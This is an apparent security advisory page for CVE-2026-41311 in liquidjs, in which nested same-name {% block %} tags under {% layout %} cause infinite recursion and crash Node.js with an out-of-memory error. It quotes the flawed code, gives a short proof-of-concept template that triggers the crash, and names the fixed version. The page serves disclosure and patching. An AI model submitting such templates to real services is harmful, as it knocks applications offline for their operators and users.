CVE-2026-41311: liquidjs has a Denial of Service via circular block reference in layout
Summary A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.
Published Apr 24, 2026 · Updated May 13, 2026
Affected packages
liquidjs
- Ecosystem
- npm
- Affected
- < 10.25.7
- Fixed in
- 10.25.7
- Check
npm ls liquidjs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.
Details
In src/tags/block.ts, during OUTPUT mode, each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block with name a is nested inside another block also named a in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.
Relevant code (src/tags/block.ts, getBlockRender method):
private getBlockRender (ctx: Context) {
const { liquid, templates } = this
const renderChild = ctx.getRegister('blocks')[this.block]
const renderCurrent = function * (superBlock: BlockDrop, emitter: Emitter) {
ctx.push({ block: superBlock })
yield liquid.renderer.renderTemplates(templates, ctx, emitter)
ctx.pop()
}
return renderChild
? (superBlock: BlockDrop, emitter: Emitter) => renderChild(
new BlockDrop(
(emitter: Emitter) => renderCurrent(superBlock, emitter)
),
emitter)
: renderCurrent
}When renderChild exists (same-name block found), it calls renderChild which re-renders templates containing the nested block, which again finds renderChild, and so on — infinite loop.
PoC
1. Create a layout file (layout.html):
<header>{% block a %}default-a{% endblock %}</header>
<main>{% block b %}default-b{% endblock %}</main>
<footer>{% block c %}default-c{% endblock %}</footer>2. Create a template that uses the layout:
{% layout "layout" %}
{% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %}
{% block b %}content-b{% endblock %}
{% block c %}content-c{% endblock %}3. Render:
const { Liquid } = require('liquidjs')
const liquid = new Liquid({ root: './', extname: '.html' })
liquid.renderFile('template').then(console.log)
// Result: process hangs, memory grows to ~4GB, then crashes with OOMThe anonymous block variant also triggers the same issue:
{% layout "parent" %}
{%block%}A{%block%}B{%endblock%}{%endblock%}Impact
Denial of Service (DoS). Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.
Credited to 1netvn.
References
- https://github.com/harttle/liquidjs/security/advisories/GHSA-4rc3-7j7w-m548
- https://github.com/harttle/liquidjs/commit/e2311dfd6e82f73509308aa8a3a1fafc92e226f0
- https://nvd.nist.gov/vuln/detail/CVE-2026-41311
- https://github.com/harttle/liquidjs/releases/tag/v10.25.7
- https://github.com/advisories/GHSA-4rc3-7j7w-m548
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-106120
LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration
medium6.0Oct 7, 2026CVE-2026-69222
LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
high7.5Sep 8, 2026CVE-2026-61556
LiquidJS has an infinite loop vulnerability in its `strip_html` filter
high8.7Sep 3, 2026CVE-2026-55575
LiquidJS: `pop` filter bypasses `memoryLimit` accounting that its array-filter siblings enforce
high8.2Jul 24, 2026CVE-2026-44644
LiquidJS's strip_html filter bypass via newline characters in HTML tags enables XSS
medium6.1May 27, 2026CVE-2026-44645
LiquidJS has a renderLimit DoS guard bypass via empty `{% for %}` body
medium6.5May 27, 2026
